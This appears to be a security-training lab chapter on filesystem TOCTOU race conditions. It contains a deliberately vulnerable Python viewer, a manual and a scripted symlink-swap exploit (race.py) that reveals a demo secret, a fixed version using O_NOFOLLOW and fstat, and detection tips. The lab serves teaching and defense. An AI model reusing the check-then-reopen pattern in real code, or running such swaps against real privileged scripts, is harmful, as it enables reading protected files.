Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 01. Applications / 03. Race Conditions

Example

This lab demonstrates a filesystem TOCTOU race.

We use a local Python application because it makes the timing gap visible. The same pattern appears in privileged scripts, upload scanners, backup jobs, cleanup tasks, report generators, and support tooling.

The lab does not require root.


Setup

Use a Linux VM or WSL.

Create a working directory:

mkdir -p ~/race-condition-lab
cd ~/race-condition-lab

Create the vulnerable application:

cat > viewer.py <<'EOF'
#!/usr/bin/env python3
import os
import stat
import sys
import time
from pathlib import Path


BASE = Path.cwd() / "public"
SECRET = Path.cwd() / "private" / "secret.txt"


def setup():
    BASE.mkdir(exist_ok=True)
    SECRET.parent.mkdir(exist_ok=True)

    note = BASE / "note.txt"
    if not note.exists() and not note.is_symlink():
        note.write_text(
            "TITLE: public note\n"
            "STATUS: approved\n"
            "BODY:\n"
            "This report is safe to render.\n",
            encoding="utf-8",
        )

    SECRET.write_text("secret=ootw-race-demo-key\n", encoding="utf-8")


def verify_report_text(text):
    if len(text) > 4096:
        raise SystemExit("report too large")

    if not text.startswith("TITLE:"):
        raise SystemExit("missing title header")

    if "STATUS: approved" not in text:
        raise SystemExit("report is not approved")

    if "secret=" in text:
        raise SystemExit("secret marker blocked")

    print("[verify] report header and approval status accepted")


def simulate_processing():
    print("[parse] normalizing report metadata")
    time.sleep(0.7)
    print("[parse] indexing report keywords")
    time.sleep(0.7)
    print("[parse] preparing final render job")
    time.sleep(0.7)


def vulnerable_viewer(name):
    target = BASE / name
    public_root = BASE.resolve()

    if not target.exists():
        raise SystemExit("missing file")

    if not target.is_file():
        raise SystemExit("not a regular file")

    resolved = target.resolve()
    if public_root not in resolved.parents and resolved != public_root:
        raise SystemExit("outside public directory")

    loaded = target.read_text(encoding="utf-8")
    print("[load] loaded candidate report")
    verify_report_text(loaded)

    simulate_processing()

    print("[use] reopening path for final render")
    print(target.read_text(encoding="utf-8"), end="")


def fixed_viewer(name):
    target = BASE / name
    public_root = BASE.resolve()

    try:
        fd = os.open(target, os.O_RDONLY | os.O_NOFOLLOW)
    except OSError as error:
        raise SystemExit(error)

    try:
        st = os.fstat(fd)
        if not stat.S_ISREG(st.st_mode):
            raise SystemExit("not a regular file")

        opened_path = Path(f"/proc/self/fd/{fd}").resolve()
        if public_root not in opened_path.parents and opened_path != public_root:
            raise SystemExit("outside public directory")

        print("[fixed] validated the opened file descriptor")
        with os.fdopen(fd, "r", encoding="utf-8") as f:
            fd = None
            loaded = f.read()
            verify_report_text(loaded)
            simulate_processing()
            f.seek(0)
            print("[use] rendering from the same file descriptor")
            print(f.read(), end="")
    finally:
        if fd is not None:
            os.close(fd)


def main():
    setup()

    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <vuln|fixed> <name>")
        raise SystemExit(1)

    mode = sys.argv[1]
    name = sys.argv[2]

    if "/" in name or name in {"", ".", ".."}:
        raise SystemExit("use a simple filename")

    if mode == "vuln":
        vulnerable_viewer(name)
    elif mode == "fixed":
        fixed_viewer(name)
    else:
        raise SystemExit("unknown mode")


if __name__ == "__main__":
    main()
EOF

chmod +x viewer.py

Run the normal path:

python3 viewer.py vuln note.txt

Expected:

[load] loaded candidate report
[verify] report header and approval status accepted
[parse] normalizing report metadata
[parse] indexing report keywords
[parse] preparing final render job
[use] reopening path for final render
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.

Basic Vulnerability

The vulnerable pattern is:

if not target.is_file():
    stop

resolved = target.resolve()
if outside_public:
    stop

loaded = target.read_text()
verify_report_text(loaded)
simulate_processing()
target.read_text()

The application loads and verifies the report, performs other work, then opens the path again for the final render.

Applications often scan, parse, index, queue, log, or enrich content after validation. The bug appears when the final operation goes back to the path instead of using the already-opened object or already-validated bytes.

The attacker can change public/note.txt during the processing window.


Exploit The Race Manually

Open terminal 1:

cd ~/race-condition-lab
python3 viewer.py vuln note.txt

While the program is parsing, open terminal 2 and replace the file with a symlink:

cd ~/race-condition-lab
rm -f public/note.txt
ln -s ../private/secret.txt public/note.txt

Terminal 1 should print:

secret=ootw-race-demo-key

The load and verification saw the original safe report.

The final render reopened the path and followed the symlink that was swapped in later.


Exploit

Manual timing is clumsy. Automate the swap.

Reset the public file:

rm -f public/note.txt
cat > public/note.txt <<'EOF'
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.
EOF

Create the attacker script:

cat > race.py <<'EOF'
#!/usr/bin/env python3
from pathlib import Path
import os
import time


target = Path("public/note.txt")
secret = Path("../private/secret.txt")

deadline = time.time() + 3

while time.time() < deadline:
    try:
        target.unlink()
    except FileNotFoundError:
        pass

    try:
        target.symlink_to(secret)
    except FileExistsError:
        pass

    time.sleep(0.001)
EOF

chmod +x race.py

Run terminal 1:

python3 viewer.py vuln note.txt

Run terminal 2 when terminal 1 reaches the parsing stage:

python3 race.py

Expected:

secret=ootw-race-demo-key

![[Chapter II - Local/1. Applications/3. Race Conditions/Exploit.png]]

This proves the TOCTOU primitive.

The attack does not bypass the string filename check. It changes the filesystem object after the check.

If the program exits with outside public directory, the swap happened too early. Reset public/note.txt, run the viewer again, and start the swap once [parse] normalizing report metadata appears.


Better Protection - More Checks

A common weak improvement is to check more properties before use:

exists()
is_file()
resolve()
owner
permissions
extension
content headers
approval status
file size

That still fails if the application later opens the path again.

More checks before the processing work do not remove the race window.

The rule is:

Do not validate a path and later trust that path.

Validate the opened object.


Fixed Version

Reset the public file:

rm -f public/note.txt
cat > public/note.txt <<'EOF'
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.
EOF

Run the fixed viewer:

python3 viewer.py fixed note.txt

Expected:

[fixed] validated the opened file descriptor
[verify] report header and approval status accepted
[parse] normalizing report metadata
[parse] indexing report keywords
[parse] preparing final render job
[use] rendering from the same file descriptor
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.

Now try to point note.txt at the secret before running fixed mode:

rm -f public/note.txt
ln -s ../private/secret.txt public/note.txt
python3 viewer.py fixed note.txt

Expected:

[Errno 40] Too many levels of symbolic links

The fixed version opens with:

os.open(target, os.O_RDONLY | os.O_NOFOLLOW)

Then it validates the opened file descriptor:

st = os.fstat(fd)

The application no longer checks one object and uses another.

![[Chapter II - Local/1. Applications/3. Race Conditions/Fixed.png]]


What This Proves

The vulnerable flow:

load public/note.txt
  -> report is inside public
  -> report is approved
  -> report content passes checks
parse/index/queue work
attacker replaces note.txt with symlink
reopen public/note.txt for final render
  -> opens private/secret.txt

The fixed flow:

open target without following symlinks
validate opened file descriptor
load and verify report from the descriptor
parse/index/queue work
render from the same descriptor

The safe version does not trust that a path will still point to the same object later.


Detection

Useful signals include:

  • Repeated creation and deletion of the same filename
  • Symlinks appearing in upload, cache, or spool directories
  • File validation failures followed by quick retry bursts
  • Many open, unlink, symlink, or rename operations in a short period
  • Application logs showing safe checks followed by unexpected read/write targets
  • Access to files through /proc/self/fd
  • Unexpected files under /tmp, /var/tmp, or /dev/shm

Useful tools:

strace -f -e trace=file ./viewer.py vuln note.txt
inotifywait -m public
find public -type l -ls

Detection is not the fix. It shows where state is changing during sensitive operations.